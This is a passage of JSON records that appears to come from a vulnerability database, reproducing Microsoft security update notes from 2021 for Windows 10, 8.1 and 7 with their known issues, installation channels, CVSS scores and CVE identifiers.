continue for Windows 10, version 1909. \n\n**11/19/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1909 update history home page.**Note **Follow [@WindowsUpdate](<https://twitter.com/windowsupdate>) to find out when new content is published to the release information dashboard.\n\n## Highlights\n\n * Updates security for your Windows operating system. \n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses an issue that causes PowerShell to create an infinite number of child directories. This issue occurs when you use the PowerShell **Move-Item** command to move a directory to one of its children. As a result, the volume fills up and the system stops responding. \nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device. For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n### Windows 10 servicing stack update - 18363.1790\n\n * This update makes quality improvements to the servicing stack, which is the component that installs Windows updates. Servicing stack updates (SSU) ensure that you have a robust and reliable servicing stack so that your devices can receive and install Microsoft updates. \n\n## Known issues in this update\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of KB5005566 are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note **The printer connection methods described in this issue are not commonly used by devices designed for home use. Printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5005624. \nAfter installing this or a later update, installation of printers using Internet Printing Protocol (IPP) might not complete successfully. Devices which had connected to and installed the printer prior to the installation of KB5005566 are unaffected and print operations to that printer will succeed as usual.**Note **IPP is not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5007189. \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones.**Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006667. \n \n## How to get this update\n\n**Before installing this update**Microsoft now combines the latest servicing stack update (SSU) for your operating system with the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.Prerequisite:You must install the July 13, 2021 SSU (KB5004748) before installing the LCU. **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005566>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10, version 1903 and later**Classification**: Security Updates \n \n**If you want to remove the LCU**To remove the LCU after installing the combined SSU and LCU package, use the [DISM/Remove-Package](<https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/dism-operating-system-package-servicing-command-line-options>) command line option with the LCU package name as the argument. You can find the package name by using this command: **DISM /online /get-packages**.Running [Windows Update Standalone Installer](<https://support.microsoft.com/en-us/topic/description-of-the-windows-update-standalone-installer-in-windows-799ba3df-ec7e-b05e-ee13-1cdae8f23b19>) (**wusa.exe**) with the **/uninstall **switch on the combined package will not work because the combined package contains the SSU. You cannot remove the SSU from the system after installation.\n\n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5005566](<https://download.microsoft.com/download/3/9/1/391ffcb2-7fdf-47e1-97cd-fe18abaf022c/5005566.csv>). For a list of the files that are provided in the servicing stack update, download the [file information for the SSU - version 18363.1790](<https://download.microsoft.com/download/e/8/0/e8002328-8c8e-43f7-b25d-eb0bdf7c541b/SSU_version_18362_1790.csv>). \n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005566 (OS Build 18363.1801)", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005566", "href": "https://support.microsoft.com/en-us/help/5005566", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:05", "description": "None\n**7/13/21 \nIMPORTANT **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the machine. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>). \n\n**11/19/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1607 update history home page. \n\n## Highlights\n\n * Updates security for your Windows operating system. \n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses an issue that prevents users from tracking Distributed Component Object Model (DCOM) activation failures.\n * Addresses an issue that might cause a memory leak to occur during prolonged Remote Desktop audio redirection.\n * Addresses an issue that causes a non-paged memory leak in the **FLTMGR.SYS** driver. This issue occurs because of a reference count issue in the **DFS.SYS** driver during cluster failover. As a result, the system might become unresponsive.\n * Addresses an issue with using the **robocopy **command with the backup option (**/B**) to fix copy failures. This issue occurs when the source files contain Alternate Data Streams (ADS) or Extended Attributes (EA) and the destination is an Azure Files share.\n * Addresses an issue that causes Authentication Mechanism Assurance (AMA) to stop working. This issue occurs when you migrate to Windows Server 2016 (or newer versions of Windows) and when using AMA in conjunction with certificates from Windows Hello for Business.\n * Addresses an issue that prevents you from writing to a Windows Management Instrumentation (WMI) repository after a low memory condition occurs.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device. For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of KB5005573 are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note **The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006669. \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of KB5005573 are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. Printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006669. \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones.**Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations. | This issue is resolved in KB5006669. \nAfter installing updates released April 22, 2021 or later, an issue occurs that affects versions of Windows Server that are in use as a Key Management Services (KMS) host. Client devices running Windows 10 Enterprise LTSC 2019 and Windows 10 Enterprise LTSC 2016 might fail to activate. This issue only occurs when using a new Customer Support Volume License Key (CSVLK). **Note** This does not affect activation of any other version or edition of Windows. Client devices that are attempting to activate and are affected by this issue might receive the error, \"Error: 0xC004F074. The Software Licensing Service reported that the computer could not be activated. No Key Management Service (KMS) could be contacted. Please see the Application Event Log for additional information.\"Event Log entries related to activation are another way to tell that you might be affected by this issue. Open **Event Viewer **on the client device that failed activation and go to **Windows Logs **> **Application**. If you see only event ID 12288 without a corresponding event ID 12289, this means one of the following:\n\n * The KMS client could not reach the KMS host.\n * The KMS host did not respond.\n * The client did not receive the response.\nFor more information on these event IDs, see [Useful KMS client events - Event ID 12288 and Event ID 12289](<https://docs.microsoft.com/windows-server/get-started/activation-troubleshoot-kms-general#event-id-12288-and-event-id-12289>).| This issue is resolved in KB5010359. \n \n## How to get this update\n\n**Before installing this update**Microsoft strongly recommends you install the latest servicing stack update (SSU) for your operating system before installing the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.If you are using Windows Update, the latest SSU (KB5005698) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005573>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10**Classification**: Security Updates \n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5005573](<https://download.microsoft.com/download/a/d/7/ad771634-3af1-42dd-8d0f-12af05be853d/5005573.csv>).\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005573 (OS Build 14393.4651)", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005573", "href": "https://support.microsoft.com/en-us/help/5005573", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:04", "description": "None\n**11/17/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1809 update history home page.\n\n## Highlights\n\n * Updates security for your Windows operating system. \n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses an issue that causes PowerShell to create an infinite number of child directories. This issue occurs when you use the PowerShell **Move-Item** command to move a directory to one of its children. As a result, the volume fills up and the system stops responding.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n### Windows 10 servicing stack update - 17763.2170\n\nThis update makes quality improvements to the servicing stack, which is the component that installs Windows updates. Servicing stack updates (SSU) ensure that you have a robust and reliable servicing stack so that your devices can receive and install Microsoft updates. \n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing KB4493509, devices with some Asian language packs installed may receive the error, \"0x800f0982 - PSFX_E_MATCHING_COMPONENT_NOT_FOUND.\"| This issue is addressed by updates released June 11, 2019 and later. We recommend you install the latest security updates for your device. Customers installing Windows Server 2019 using media should install the latest [Servicing Stack Update (SSU)](<https://docs.microsoft.com/windows/deployment/update/servicing-stack-updates>) before installing the language pack or other optional components. If using the [Volume Licensing Service Center (VLSC)](<https://www.microsoft.com/licensing/servicecenter/default.aspx>), acquire the latest Windows Server 2019 media available. The proper order of installation is as follows:\n\n 1. Install the latest prerequisite SSU, currently [KB5005112](<https://support.microsoft.com/help/5005112>)\n 2. Install optional components or language packs\n 3. Install latest cumulative update\n**Note** Updating your device will prevent this issue, but will have no effect on devices already affected by this issue. If this issue is present in your device, you will need to use the workaround steps to repair it.**Workaround:**\n\n 1. Uninstall and reinstall any recently added language packs. For instructions, see [Manage the input and display language settings in Windows 10](<https://support.microsoft.com/windows/manage-the-input-and-display-language-settings-in-windows-12a10cb4-8626-9b77-0ccb-5013e0c7c7a2>).\n 2. Click **Check for Updates **and install the April 2019 Cumulative Update or later. For instructions, see [Update Windows 10](<https://support.microsoft.com/windows/update-windows-3c5ae7fc-9fb6-9af1-1984-b5e0412c556a>).\n**Note **If reinstalling the language pack does not mitigate the issue, use the In-Place-Upgrade feature. For guidance, see [How to do an in-place upgrade on Windows](<https://docs.microsoft.com/troubleshoot/windows-server/deployment/repair-or-in-place-upgrade>), and [Perform an in-place upgrade of Windows Server](<https://docs.microsoft.com/windows-server/get-started/perform-in-place-upgrade>). \nAfter installing KB5001342 or later, the Cluster Service might fail to start because a Cluster Network Driver is not found.| This issue occurs because of an update to the PnP class drivers used by this service. After about 20 minutes, you should be able to restart your device and not encounter this issue. \nFor more information about the specific errors, cause, and workaround for this issue, please see KB5003571. \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of KB5005568 are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. Printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5005625 \nAfter installing this or a later update, installation of printers using Internet Printing Protocol (IPP) might not complete successfully. Devices which had connected to and installed the printer prior to the installation of KB5005568 are unaffected and print operations to that printer will succeed as usual.**Note** IPP is not commonly used by devices designed for home use. Printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006744. \nAfter installing KB5005102, Windows Server 2019 virtual machines (VMs) employing Software Defined Networks (SDN) or traditional multi-tenant RRAS gateways may lose connectivity with external networks using Gateway connections. Installing the August preview or later update will not affect Windows Server 2019 hosts, Network Controller VMs, and Software Load Balancer VMs.| This issue is resolved in KB5006672. \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of KB5005625 are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. Printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006672. \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones.**Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006672. \nAfter installing updates released April 22, 2021 or later, an issue occurs that affects versions of Windows Server that are in use as a Key Management Services (KMS) host. Client devices running Windows 10 Enterprise LTSC 2019 and Windows 10 Enterprise LTSC 2016 might fail to activate. This issue only occurs when using a new Customer Support Volume License Key (CSVLK). **Note** This does not affect activation of any other version or edition of Windows. Client devices that are attempting to activate and are affected by this issue might receive the error, \"Error: 0xC004F074. The Software Licensing Service reported that the computer could not be activated. No Key Management Service (KMS) could be contacted. Please see the Application Event Log for additional information.\"Event Log entries related to activation are another way to tell that you might be affected by this issue. Open **Event Viewer **on the client device that failed activation and go to **Windows Logs **> **Application**. If you see only event ID 12288 without a corresponding event ID 12289, this means one of the following:\n\n * The KMS client could not reach the KMS host.\n * The KMS host did not respond.\n * The client did not receive the response.\nFor more information on these event IDs, see [Useful KMS client events - Event ID 12288 and Event ID 12289](<https://docs.microsoft.com/windows-server/get-started/activation-troubleshoot-kms-general#event-id-12288-and-event-id-12289>).| This issue is resolved in KB5009616. \n \n## How to get this update\n\n**Before installing this update**Microsoft now combines the latest servicing stack update (SSU) for your operating system with the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.Prerequisite:You **must **install the August 10, 2021 SSU (KB5005112) before installing the LCU. **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005568>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10**Classification**: Security Updates \n \n**If you want to remove the LCU**To remove the LCU after installing the combined SSU and LCU package, use the [DISM/Remove-Package](<https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/dism-operating-system-package-servicing-command-line-options>) command line option with the LCU package name as the argument. You can find the package name by using this command: **DISM /online /get-packages**.Running [Windows Update Standalone Installer](<https://support.microsoft.com/en-us/topic/description-of-the-windows-update-standalone-installer-in-windows-799ba3df-ec7e-b05e-ee13-1cdae8f23b19>) (**wusa.exe**) with the **/uninstall **switch on the combined package will not work because the combined package contains the SSU. You cannot remove the SSU from the system after installation.\n\n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5005568](<https://download.microsoft.com/download/c/8/b/c8b9a4f6-1a3f-48da-8941-518598038d33/5005568.csv>).For a list of the files that are provided in the servicing stack update, download the [file information for the SSU - version 17763.2170](<https://download.microsoft.com/download/0/0/5/005a59ce-1fe1-4dc4-8460-4a56b7c21e38/SSU_version_17763_2170.csv>). \n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005568 (OS Build 17763.2183)", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005568", "href": "https://support.microsoft.com/en-us/help/5005568", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:50", "description": "None\n**Important: **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the device. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**Important: **Windows 8.1 and Windows Server 2012 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 8.1 and Windows Server 2012 R2 update history [home page](<https://support.microsoft.com/help/4009470>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5004298](<https://support.microsoft.com/help/5004298>) (released July 13, 2021) and addresses the following issues:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\n * Addresses an issue in which Smart Card Authentication (PIV) fails on non-RFC compliant printers and scanners requiring smartcard authentication. For more information, see [KB5005391.](<https://support.microsoft.com/help/5005391>)\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API **[OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>)**, often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. **OpenEncryptedFileRaw** will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in [CVE-2021-36942](<https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2021-36942>).**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before you install the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001403](<https://support.microsoft.com/help/5001403>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005076>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 8.1, Windows Server 2012 R2, Windows Embedded 8.1 Industry Enterprise, Windows Embedded 8.1 Industry Pro**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005076](<https://download.microsoft.com/download/f/e/9/fe907252-2606-4ef8-b4cd-bfe1b3bbae60/5005076.csv>). \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005076 (Monthly Rollup)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36937", "CVE-2021-36942"], "modified": "2021-08-10T07:00:00", "id": "KB5005076", "href": "https://support.microsoft.com/en-us/help/5005076", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:52", "description": "None\n**Important: **Windows 7 and Windows Server 2008 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 7 and Windows Server 2008 R2 update history [home page](<https://support.microsoft.com/help/4009469>).\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\n * Addresses an issue in which Smart Card Authentication (PIV) fails on non-RFC compliant printers and scanners requiring smartcard authentication. For more information, see [KB5005392](<https://support.microsoft.com/help/5005392>).\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API 